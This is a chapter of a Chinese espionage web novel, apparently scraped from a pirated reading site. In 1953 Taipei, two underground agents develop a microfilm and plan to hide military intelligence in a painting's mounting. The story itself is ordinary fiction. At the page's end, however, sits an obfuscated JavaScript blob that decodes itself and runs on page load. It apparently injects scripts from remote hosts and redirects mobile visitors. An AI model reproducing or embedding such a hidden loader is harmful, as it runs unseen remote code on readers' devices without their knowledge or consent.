首页
[切换至繁体版]
返回

第0227章夜雨大稻埕

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第0227章夜雨大稻埕(第1/2页)
    民国四十二年,公历一九五三年,十一月二十三日。
    台北的冬天,总是从一场又一场的冷雨开始。
    雨丝不大,却密得很,像一张灰蒙蒙的网,笼罩着整个大稻埕。夜色浓稠如墨,街上早就没了人影,只有几盏昏黄的路灯,在湿漉漉的青石板上投下摇曳的光晕,照着雨丝斜斜落下,像是无数根细密的针。
    林默涵——此刻的他,是“陈文彬”——坐在“文华颜料行”二楼的窗边,手指间夹着一支“新乐园”香烟,却没点燃。窗户开着一道细缝,冷风裹挟着潮湿的雨气钻进来,扑在他脸上,带着这个季节特有的阴寒。
    他的目光落在窗外空寂的街道上,眼神却仿佛穿透了雨幕,望向了更远的地方。
    距离从高雄仓皇撤离,已经过去了两个多月。
    老赵嚼碎情报咽下最后一口血沫的画面,陈明月在山洞里苍白的脸和滚烫的吻,逃亡船上回望高雄港那片逐渐模糊的灯火……这些场景,依旧会在夜深人静时,猝不及防地撞进脑海,清晰得如同昨日。
    颜料行开在迪化街尾,不算起眼。前头三间门脸,摆着各色颜料、画具、纸张,后面连着一个小天井,天井后是两间卧房和一间小小的储物间。一楼店面由雇来的老伙计阿旺伯照应,这个沉默寡言、耳朵还有点背的福州老鳏夫,是苏曼卿精心挑选的掩护。二楼是林默涵的“书房”兼起居室,也藏着最重要的秘密——地板下重新砌起的暗格里,躺着那台九死一生带出来的发报机。
    一切都小心翼翼,如履薄冰。
    “陈文彬”的身份,比“沈墨”更不起眼。一个从大陆来台投亲不遇、略通文墨、靠变卖随身带来的几幅字画勉强糊口,最后在大稻埕盘下这间小颜料行的落魄文人。户籍、保人、店铺过户手续,都是苏曼卿动用了这些年积攒下的、极其宝贵的关系网,层层打点,才勉强造得滴水不漏。
    但林默涵知道,这表面的平静下,潜藏着比高雄时期更凶险的暗流。
    魏正宏没有放弃。张启明的叛变,老赵的牺牲,只是撕开了高雄地下网络的一道口子。那条嗅觉敏锐的猎犬,一定会循着血腥味,将搜索的网撒得更广。台北,军情局的老巢,特务的眼线只会更多,排查只会更严。
    他掐灭了根本不存在的烟蒂,指尖无意识地摩挲着藏在衬衫领口内衬里的一样东西——一枚温润的、边缘略有磨损的玉佩。那是撤离前夜,陈明月在替他整理行装时,趁他不备,塞进他贴身口袋的。玉佩是她的家传之物,据说是母亲留给她的唯一念想。她什么也没说,只是在他回头时,飞快地别过脸去,耳根泛红。后来在船上,他摸到这玉佩,才看见上面用极细的刀工刻着四个几乎看不清的小字:“明月入怀”。
    胸口的位置,仿佛被那玉的温凉熨帖着,又仿佛被那四个字灼烧着。
    他强迫自己收回思绪,将注意力集中在眼前铺开的一张台北市地图上。地图是旧的,上面用极细的铅笔,标注着几个不起眼的点。有的是茶馆,有的是当铺,有的是裁缝铺,都是苏曼卿这段时间陆陆续续交给他的,新的、潜在的联络点或观察哨。网络被重创后,重建工作缓慢而艰难,每一个点都需要反复甄别、试探,像在雷区里种花。
    窗外传来极轻微的、有节奏的敲击声。
    三长,两短,停顿,再三短。
    林默涵眼神一凝,迅速起身,走到窗边,并未开窗,只是用手指在窗棂内侧,同样节奏地敲击回应。片刻,楼下后门传来几乎听不见的开启又关闭的声音。
    他下楼,穿过黑黢黢的店堂,来到小天井。一个披着黑色雨披的纤瘦身影已经等在那里,雨帽拉得很低,遮住了大半张脸,只露出尖俏的下巴和紧抿的唇。但林默涵认得那身影,也认得她左手无名指上,那道在昏暗光线下依然隐约可见的浅色疤痕。
    “苏姐。”他低声道,侧身让她进屋。
    苏曼卿褪下雨披,里面是一身朴素的阴丹士林布旗袍,头发用一根木簪松松挽着,几缕被雨打湿的发丝贴在脸颊,脸上带着赶路的疲惫,眼神却亮得惊人。她没去前面的店面,径直跟着林默涵上了二楼。
    进了房间,林默涵关上房门,拉严窗帘。苏曼卿这才长长舒了口气,从怀里摸出一个小巧的油纸包,放在桌上,纸包边缘还带着她身体的微温。
    “刚到的,‘老家’的指示,还有‘影子’冒死送出来的东西。”苏曼卿的声音压得很低,带着一丝不易察觉的紧绷。
    林默涵没急着打开油纸包,先倒了杯热水递给她:“路上还顺利?尾巴甩干净了?”
    “绕了三圈,在‘蓬莱阁’澡堂后巷换的衣服,应该没问题。”苏曼卿接过水杯,双手捧着,汲取着那一点点暖意,脸色稍微缓和了些,“不过,风声更紧了。魏正宏把高雄那边的失利归咎于内鬼和外部渗透,现在整个军情局,特别是他直接管辖的第三处,像疯狗一样到处咬人。台北市警局和宪兵队也被动员起来,搞什么‘肃谍净街’行动,晚上宵禁提前了两个小时,巡逻队增加了三倍。”
    林默涵默默听着,手指在地图上无意识地划动。“影子”那边传来的信息,和苏曼卿说的一致,甚至更加严峻。魏正宏的压力不仅来自上峰,恐怕更来自他自身那种偏执的、一定要揪出“海燕”的执念。这种执念,让这条老狐狸变得更加危险。
    “另外,”苏曼卿喝了口水,继续道,“老吴那条线……断了。”
    林默涵的手指一顿:“什么时候的事?”
    “前天晚上。他原本约好昨天下午在龙山寺后门交一份码头仓库的货物清单,人没出现。我让小山去他住处看了,门从外面锁着,邻居说他前天夜里被几个穿中山装的人带走了,再没回来。”苏曼卿的声音里带着沉痛和愤怒,“老吴很谨慎,不该出这样的纰漏。除非……他被盯上很久了,或者,我们内部还有没清理干净的隐患。”
    老吴是他们在基隆港码头发展的一个重要内线,能接触到往来船舶和货物的一手信息。他的暴露和失踪,不仅是又损失了一位忠诚的同志,更意味着基隆这条情报渠道很可能已经引起了敌人的注意,甚至被反向利用布下了陷阱。
    林默涵闭了闭眼。又一个名字,可能要被刻进心里的纪念碑了。他睁开眼,眼中已是一片冷冽的清明:“老吴的上下线,立即启动静默程序,没有我的直接指令,不得有任何动作。通知所有已知的联络点和人员,提高警惕,非紧急必要,减少直接接触,改用死信箱和报刊密码。”
    “明白。”苏曼卿点头,随即指向桌上的油纸包,“‘老家’的指示,你看一下。另外,‘影子’这次送出来的东西……很关键,但也烫手。”
    林默涵这才小心地拆开油纸包。里面是两样东西:一张极薄的、折叠起来的电文纸,以及一个比指甲盖还小的、用蜡封着的金属小筒。
    他先展开电文纸,就着台灯昏暗的光线快速浏览。电文是用他们约定的密码书《唐诗三百首》译出的,内容简短而紧迫:
    “‘台风’后续,‘磐石’计划启动,目标金马。详查舰艇调动、岸防部署、物资储备。‘海燕’相机而动,安全第一。盼春归。”
    “磐石计划……”林默涵低声念出这四个字,眉头紧紧锁起。“台风计划”是之前获取的台军大规模海军演习情报,而“磐石”,从字面和“老家”要求调查的方向来看,极可能是针对金门、马祖等外岛的某种强化防御或进攻准备计划。如果属实,这将是关乎前线将士生死、关乎战略布局的顶级军事情报。
    他将电文纸凑近台灯灯罩,看着它在高温下迅速蜷曲、焦黑,化为几片轻飘飘的灰烬,落入早已准备好的烟灰缸里。然后,他用镊子小心翼翼夹起那个蜡封的金属小筒。小筒做得极其精巧,严丝合缝。
    他用小刀轻轻刮开封蜡,从里面倒出一卷几乎看不见的胶片——微缩胶卷。他走到墙边,挪开一个看似装饰用的旧画框,后面露出一个极其隐蔽的小孔。他将胶卷装入一个特制的微型显影装置,接上电源,对着墙上挂着的一幅山水画——画后的墙壁是空心的,里面藏着冲洗设备——开始操作。
    黑暗的房间里,只有显影药水轻微的滋滋声,和两人压抑的呼吸声。
    时间一分一秒过去,窗外的雨似乎下得更急了些,敲打着瓦片,噼啪作响。
    终于,林默涵关掉了设备,从暗室取出已经显影、定影并晾干的胶片。他回到桌边,拿起一个高倍放大镜,凑到台灯下,仔细查看胶片上的内容。
    苏曼卿屏住呼吸,看着林默涵的脸色在放大镜后一点点变得凝重,额角甚至渗出了细密的汗珠。
    胶片上的内容,比预想的更加震撼。那是一份标注着“绝密·磐石”字样的计划草案概要影印件,虽然只是部分章节,但信息量巨大。上面清晰列出了未来三个月内,台军向金门、马祖增派舰艇的类型、数量、时间表,以及新构筑的岸防工事坐标、储备弹药和物资的仓库位置。更令人心惊的是,计划中还提及了“美方顾问团抵达视察及提供战术评估”的相关安排。
    “影子”江一苇,不愧是潜伏在魏正宏身边的机要秘书,接触到的机密层级极高。这份情报的价值,无法估量。
    但正如苏曼卿所说,这情报也“烫手”。且不说获取它的过程多么凶险,单是它本身的存在,一旦被军情局察觉失窃,必然引发一场席卷整个情报系统、甚至波及军政高层的滔天巨浪。魏正宏会像输红了眼的赌徒,不惜一切代价挖出窃密者。而任何与之相关的线索,都会被无限放大,追查到底。
    (本章未完,请点击下一页继续阅读)第0227章夜雨大稻埕(第2/2页)
    林默涵放下放大镜,久久沉默。台灯的光晕照着他棱角分明的侧脸,一半明亮,一半隐在阴影里,显得格外冷峻。
    “情报必须送出去。”他终于开口,声音低沉而坚定,“不惜一切代价。”
    苏曼卿的心一紧:“怎么送?现在所有已知的渠道,恐怕都在严密监控之下。高雄那条线断了,基隆老吴出事,香港的转口贸易路线最近也被盯得很死。电台发报风险太大,魏正宏的无线电侦测车每天都在城里转悠。”
    林默涵的目光落在地图上,手指无意识地敲击着桌面,这是他思考时的习惯动作。雨声,指针的嘀嗒声,手指敲击桌面的笃笃声,在寂静的房间里交织。
    “常规路线走不通,就走非常规路线。”他的眼神渐渐聚焦,落在台北市地图的某个点上,“还记得我们之前讨论过的,‘第二通道’预案吗?”
    苏曼卿一怔:“你是说……利用美军顾问团?”
    “准确说,是利用顾问团里,我们可能争取或利用的缝隙。”林默涵的手指在地图上划过,“‘影子’的情报提到,美军顾问团近期会来,名义上是评估‘磐石计划’并提供建议。这些人,是现阶段少数能相对自由往来于台海之间,且台湾当局不敢轻易得罪、搜查的群体。”
    “可我们怎么接近他们?又怎么能确保情报能通过他们送出去,并且不被发现?”苏曼卿眉头紧锁,“这太冒险了。一旦被识破,不仅前功尽弃,还会引发严重的外交事件。”
    “所以不能直接接触,更不能递送实体情报。”林默涵的眼中闪烁着冷静而锐利的光,“我们需要一个媒介,一个既能接触到顾问团成员,又不起眼,甚至能让对方主动带出去的‘纪念品’或‘礼物’。情报,不能是纸,不能是胶片,必须是……他们意识不到是情报的东西。”
    苏曼卿顺着他的思路想下去,眼神也亮了起来:“你是说……微缩点?或者密写?可是载体呢?什么东西既普通,又能合理地被带往海外,还经得起一定程度的检查?”
    两人陷入沉思。房间里再次只剩下雨声和呼吸声。
    忽然,林默涵的目光落在了墙角一个半开的藤箱上。那是“陈文彬”从大陆带来的“家当”之一,里面除了几件旧衣服,主要是一些文房用具和……几幅字画。那是他扮演落魄文人必不可少的道具。
    他的目光定格在其中一卷泛黄的画轴上。
    “那幅唐寅的《西山草堂图》摹本,”林默涵缓缓开口,“我记得你上次提过,美军顾问团里有个叫詹姆斯的少校,对中国古画很感兴趣,还曾托人在台北市面上寻访?”
    苏曼卿猛地抬头:“对!是有这么回事。詹姆斯是顾问团里的情报分析官,据说父亲是个东方艺术收藏家,他本人也附庸风雅。半个月前,他确实通过中间人放出风,想买一些‘有意思’的中国古画,不在乎真赝,重要的是‘有味道’。”她顿了顿,眼中光芒大盛,“你是想……把情报‘放’进画里?”
    “不是画本身。”林默涵走到藤箱边,取出那卷画轴,小心地展开一部分。这是一幅还算精良的明清风格山水画摹本,纸张老旧,有些地方还有刻意做旧的虫蛀和水渍痕迹,足以骗过一般的外行人。“是装裱。我们可以重新装裱这幅画,在覆背纸的夹层里,用密写药水写上情报的核心内容——比如舰艇调动的大致时间和方向、关键仓库的代号和区域。微缩胶卷太大,风险高,但密写点可以做到极小,分散在装裱材料的不同位置,即使被抽检,不经过特殊处理,根本看不出来。”
    他指着画轴的轴头:“甚至,可以在轴头的木质内部,用微型工具刻出凹槽,藏入更关键的坐标数据胶片,然后用蜡封好。轴头是实心的,除非彻底破坏画轴,否则不会有人想到去检查那里。”
    苏曼卿听得心跳加速。这个想法大胆,却也精妙。一幅“慕名求购”的古画,作为礼物或交易品被美军军官带回,合情合理。即使台湾方面有所怀疑,面对美军顾问,也不敢强行拆解检查。而只要画能顺利离开台湾,抵达香港甚至更远的地方,自有那边的同志接手,取出情报。
    “但是,”苏曼卿仍有顾虑,“我们怎么确保詹姆斯一定会买这幅画?又怎么确保他一定会带走,而不是转手或留在台湾?还有,装裱需要时间,也需要可靠的、懂行的匠人,我们的人里……”
    “詹姆斯的兴趣和购买意向,是一个机会窗口。”林默涵冷静分析,“我们需要创造一个‘偶然’,让他‘恰好’发现这幅符合他口味的‘古画’,并且产生强烈的购买欲望。至于带走……我们可以让‘画’本身显得更‘特殊’一些,比如,暗示它与某位他感兴趣的历史人物或事件有关,增加其‘纪念价值’和必须亲自带走的理由。”
    他顿了顿,继续道:“装裱师傅,我有人选。大稻埕‘汲古斋’的徐师傅,手艺是祖传的,为人也本分。最关键的是,他儿子当年被拉壮丁去了金门,至今生死不明,他对当局早有怨言。我以‘陈文彬’的身份,找他修补过几次旧书,接触过,可以尝试发展,至少争取他睁一只眼闭一只眼,或者,在关键步骤上帮一点‘小忙’。”
    苏曼卿沉吟着。计划听起来可行,但每一步都如走钢丝,稍有不慎,便是万劫不复。尤其是发展徐师傅这一步,风险极高。但眼下,似乎也没有更稳妥、更快捷的办法了。“磐石计划”的情报具有极强的时效性,拖得越久,价值越低,风险反而越高。
    “需要我做什么?”她最终抬起头,目光坚定地看向林默涵。既然他决定了,她便会全力配合。
    “第一,动用你在美军顾问团周边的关系,摸清詹姆斯少校的具体行程、喜好、常去的场所,特别是他接触古董字画的渠道和中间人。我们要制造一个完美的‘邂逅’。”
    “第二,准备密写药水和工具。我会把需要传递的核心信息精简、编码,然后由你来完成密写。你的笔迹更稳定,不容易留下个人特征。”
    “第三,”林默涵看向那幅《西山草堂图》摹本,“我需要一点时间,给这幅画编造一个足够吸引詹姆斯,又能经得起简单核查的‘故事’。最好是半真半假,牵扯到一些历史谜团或者珍闻轶事。”
    “第四,也是最重要的一点,”他的语气变得异常严肃,“这个计划,仅限于你我二人知晓。对‘影子’,只告知我们需要一次通过美军顾问团传递重要物品的机会,具体细节不必透露。对徐师傅,只说是替一位‘神秘藏家’重新装裱一幅心爱之作,要求极高,报酬丰厚,其他一概不知。”
    苏曼卿重重点头:“明白。我会小心。”
    “还有,”林默涵补充道,“通知‘老家’,近期准备接收一份通过‘特殊渠道’送出的‘艺术品’,并告知相应的提取和破解方法。电文要用备用密码本,发报时间和频率要绝对随机,避开侦测高峰。”
    “好。”
    交代完毕,两人又就一些细节推敲了许久。窗外的雨不知何时停了,只剩下屋檐滴水的声音,嗒,嗒,嗒,敲在寂静的夜里,也敲在两人紧绷的心弦上。
    当所有能想到的环节都反复斟酌过后,房间里再次陷入沉默。只有台灯发出滋滋的微弱电流声。
    苏曼卿看着林默涵在灯下越发显得清瘦和冷峻的侧影,忽然轻声问:“明月……她怎么样了?有消息吗?”
    林默涵正在收拾桌上地图和工具的手微微一顿。半晌,才用听不出情绪的声音回答:“上次联络,说伤口恢复得还行,已经转移到更安全的地方。组织上安排她在南部一个教会医院帮忙,暂时隐蔽。”他没有说的是,陈明月托人辗转带给他的口信里,只有简短的“安好,勿念”四个字,以及一句“玉佩贴身,如我相伴”。
    苏曼卿轻叹一声:“苦了她了。等这阵风头过去,或许……”
    “没有或许。”林默涵打断她,声音冷硬如铁,“任务完成之前,个人情感必须放在一边。她现在安全,就是最好的消息。”
    苏曼卿看着他紧抿的唇线和下颌绷紧的线条,知道他心里绝不像表面这么平静。但她没再说什么,只是默默拿起雨披:“我该走了。天亮前,必须回到咖啡馆。”
    “小心。”林默涵送她到楼下后门,低声叮嘱。
    苏曼卿点点头,戴上雨帽,瘦削的身影很快融入门外尚未完全消散的雨雾和黑暗之中,消失不见。
    林默涵关好门,插上门栓,背靠着冰冷的木门站了一会儿。店里弥漫着颜料、纸张和旧木头混合的气味,这是他如今身份的一部分。他缓缓走回二楼,没有开灯,就着窗外透进来的、雨后微弱的朦胧天光,走到桌边,再次拿起那枚玉佩。
    冰凉的玉石贴在掌心,渐渐被体温焐热。那“明月入怀”四个字,仿佛带着陈明月指尖的温度,轻轻烙在他心上。
    他抬起头,望向窗外。东方的天际,已经泛起一丝极淡的鱼肚白,黑夜即将过去。但林默涵知道,对他们这些人来说,真正的黑夜,或许才刚刚开始。
    “磐石”计划像一块沉重的巨石,压在他的肩上,也压在千千万万渴望统一安宁的人们心头。而他,代号“海燕”,必须在这惊涛骇浪、铁幕森严的孤岛上,找到那一线穿云的缝隙。
    他将玉佩紧紧攥在掌心,仿佛要从那温润的触感中汲取力量。
    天,快亮了。
    而一场新的、更加隐秘也更加危险的战斗,即将在这座雨后的城市里,无声地拉开帷幕。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();